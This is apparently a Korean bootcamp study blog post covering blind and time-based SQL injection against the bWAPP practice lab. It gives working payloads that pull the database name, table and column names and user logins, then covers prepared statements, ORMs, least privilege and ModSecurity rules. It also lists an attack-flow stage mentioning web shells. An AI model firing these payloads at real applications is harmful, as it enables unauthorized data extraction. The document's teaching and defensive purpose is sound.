' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#
테이블 users의 첫 번째 컬럼 이름 첫 글자가 'i' 인지 확인
지금 한 게 아래 화면과 똑같은 거다.
아까는 이렇게 잘 나왔지만 지금은 blind이기 때문에 이렇게 직접 쿼리문을 입력하여 해야한다.
4.8 Time-Based Blind SQL Injection
상황
- UNION 사용 불가: 컬럼 개수를 모를 때
- 에러 메시지 없음: 에러 기반 공격 불가능
- 응답 차이 없음: Boolean 기반 공격도 불가능
원리
Sleep( ) 함수로 응답 시간을 지연시켜, 시간 차이로 True/False를 판단
Step 1: 데이터베이스 이름 길이 파악
--> 길이가 1글자일 때
SELECT * FROM users WHERE login='admin'
AND length(database())=1 AND SLEEP(5)#
결과: 응답 시간 정상 (0초) → FALSE
--> 길이가 5글자일 때
SELECT * FROM users WHERE login='admin'
AND length(database())=5 AND SLEEP(5)#
결과: 응답 시간 지연 (5초) → TRUE
# 데이터베이스 이름은 5글자 (bWAPP)
Step 2: 데이터베이스 이름 첫 글자 파악
방법 1: 직접 문자 비교 (느림)
--> 'a'인지 확인
' AND substring(database(),1,1)='a' AND SLEEP(5)#
> 결과: 응답 정상 → FALSE
--> 'b'인지 확인
' AND substring(database(),1,1)='b' AND SLEEP(5)#
> 결과: 응답 지연(5초) → TRUE
>> 첫 글자는 'b'
방법 2: ASCII 코드 사용 (더 효율적)
--> ASCII 코드로 범위 검색
' AND ascii(substring(database(),1,1))>96 AND SLEEP(5)#
> 결과: 응답 지연 → TRUE (b=98 > 96)
' AND ascii(substring(database(),1,1))>98 AND SLEEP(5)#
> 결과: 응답 정상 → FALSE (b=98은 98보다 크지 않음)
' AND ascii(substring(database(),1,1))=98 AND SLEEP(5)#
> 결과: 응답 지연 → TRUE
>> ASCII 코드 98 = 'b'
Step 3: 모든 글자 반복
1번 글자: 'b' (ascii=98)
2번 글자: 'W' (ascii=87)
3번 글자: 'A' (ascii=65)
4번 글자: 'P' (ascii=80)
5번 글자: 'P' (ascii=80)
>> 결과: bWAPPStep 4: 테이블 이름 길이 파악
--> 첫 번째 테이블 이름의 길이가 4글자인지
' AND length((
SELECT table_name
FROM information_schema.tables
WHERE table_schema='bWAPP'
LIMIT 0,1
))=4 AND SLEEP(5)#
>결과: 응답 지연(5초) → TRUE
--> 첫 번째 테이블명은 4글자 ('blog')
Step 5: 테이블 이름 첫 글자 파악
' AND substring((
SELECT table_name
FROM information_schema.tables
WHERE table_schema='bWAPP'
LIMIT 0,1
),1,1)='b' AND SLEEP(5)#
> 결과: 응답 지연(5초) → TRUE
>> 첫 글자는 'b'
Step 6: 컬럼 이름 파악
--> users 테이블의 첫 번째 컬럼 이름이 'id'인지
' AND substring((
SELECT column_name
FROM information_schema.columns
WHERE table_name='users'
LIMIT 0,1
),1,1)='i' AND SLEEP(5)#
>결과: 응답 지연(5초) → TRUE
>> 첫 글자는 'i' → 컬럼명은 'id'
Step 7: 실제 데이터 길이 파악
--> 두 번째 사용자의 login이 3글자인지
' AND length((
SELECT login
FROM users
LIMIT 1,1
))=3 AND SLEEP(5)#
>결과: 응답 지연(5초) → TRUE
>> 'bee' (3글자)

이런 식으로 뺑글
~ 뺑글돌아가면 True
Time-Based Injection의 장점과 단점
| 항목 | 설명 |
|---|---|
| 장점 | 거의 모든 상황에서 사용 가능, 탐지하기 어려움 |
| 단점 | 매우 느림 (글자당 최소 5초), 자동화 도구 필요 |
4.9 SQL Injection 방어 방법
❌ 방법 1: 입력값 검증 (불완전)
// 문제: 모든 특수문자를 예상할 수 없음
String input = request.getParameter("search");
if (input.contains("'") || input.contains(";") || input.contains("--")) {
// 거부
}
우회 방법:
- URL 인코딩:
%27(') - 주석 변형:
/**/,#,-- - 케이스 변형:
UniOn,sElEcT
✅ 방법 2: Prepared Statement (권장)
PHP PDO 예시
// ❌ 취약한 코드
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE login='$username' AND password='$password'";
$result = $pdo->query($sql);
// ✅ 보안 코드 (Prepared Statement)
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE login=? AND password=?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$username, $password]);
$result = $stmt->fetchAll();
작동 원리:
1. SQL 구조 먼저 정의: SELECT * FROM users WHERE login=? AND password=?
2. 사용자 입력과 SQL 구조 분리
3. 데이터베이스 엔진이 입력값을 단순 문자열로 처리
4. SQL 문법 해석 불가능 → Injection 불가능Java JDBC 예시
// ✅ Prepared Statement 사용
String sql = "SELECT * FROM users WHERE login=? AND password=?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
Node.js mysql2 예시
// ✅ Parameterized Query
const sql = 'SELECT * FROM users WHERE login=? AND password=?';
connection.query(sql, [username, password], (error, results) => {
if (error) throw error;
console.log(results);
});
✅ 방법 3: ORM 프레임워크 사용
Java Hibernate 예시
// ✅ ORM을 통해 자동으로 SQL Injection 방지
User user = session.createQuery(
"FROM User WHERE login=:login AND password=:password",
User.class
).setParameter("login", username)
.setParameter("password", password)
.getSingleResult();
Python SQLAlchemy 예시
# ✅ ORM을 통한 안전한 쿼리
user = session.query(User).filter(
User.login == username,
User.password == password
).first()
✅ 방법 4: 저수준 권한 설정
-- 데이터베이스 사용자 생성 (최소 권한)
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';
-- 특정 데이터베이스와 테이블에만 권한 부여
GRANT SELECT, INSERT, UPDATE ON bWAPP.users TO 'webapp'@'localhost';
-- 위험한 함수 실행 권한 제거
REVOKE FILE, SUPER, PROCESS ON *.* FROM 'webapp'@'localhost';
-- 결과: SQL Injection으로 DROP TABLE이나 웹쉘 생성 불가능
✅ 방법 5: WAF (Web Application Firewall)
사용자 요청
↓
[WAF - 패턴 분석]
├─ SQL 예약어 감지
├─ 의심스러운 입력값 검사
├─ 알려진 Injection 패턴 차단
└─ 로깅 및 알림
↓
[웹 애플리케이션]ModSecurity 규칙 예시:
# SQL 예약어가 포함된 입력 차단
SecRule ARGS "@rx (?:union|select|insert|delete|drop)" \
"id:1000,phase:2,log,block,msg:'SQL Injection Attempt'"
# 주석 문법 차단
SecRule ARGS "@rx (--|#|/\*)" \
"id:1001,phase:2,log,block,msg:'SQL Comment Injection'"4.10 SQL Injection 공격 흐름 요약
┌─────────────────────────────────────────────────────────────┐
│ SQL Injection 공격 단계 │
└─────────────────────────────────────────────────────────────┘
1️⃣ 정찰 단계
├─ 입력 필드 찾기 (검색창, 로그인 등)
├─ 문법 오류 테스트 (' 또는 1' or 1=1)
└─ 데이터베이스 종류 파악 (MySQL, MSSQL, Oracle 등)
2️⃣ 컬럼 개수 파악
├─ ORDER BY 1, 2, 3... 실행
└─ 오류 발생하는 지점이 컬럼 개수
3️⃣ 테이블 정보 수집
├─ Information Schema 접근
├─ 데이터베이스 목록
└─ 테이블 목록
4️⃣ 데이터 추출
├─ 컬럼명 파악
├─ 데이터 조회
└─ 비밀번호 해시 및 개인정보 탈취
5️⃣ 심화 공격
├─ 데이터 조작 (INSERT, UPDATE, DELETE)
├─ 권한 상승
└─ 시스템 명령어 실행 (웹쉘 생성)와.....진짜 개오래 걸림.... 살려줭..
코딩애플_SQL Injection
이거 보고도 감이 잘 안 오면 영상 N회독하면 감이 좀 잡힐 것이다.
나도 큰 도움 받음!!!
윈 7 비번: Passw0rd!
'SK Shieldus Rookies 29' 카테고리의 다른 글
| [SK shieldus Rookies 29기] 25일차 (0) | 2025.12.15 |
|---|---|
| [SK shieldus Rookies 29기] 24일차 (0) | 2025.12.15 |
| [SK shieldus Rookies 29기] 22일차 (0) | 2025.12.08 |
| [SK shieldus Rookies 29기] 21일차 (0) | 2025.12.05 |
| [SK shieldus Rookies 29기] 20일차 (0) | 2025.12.05 |


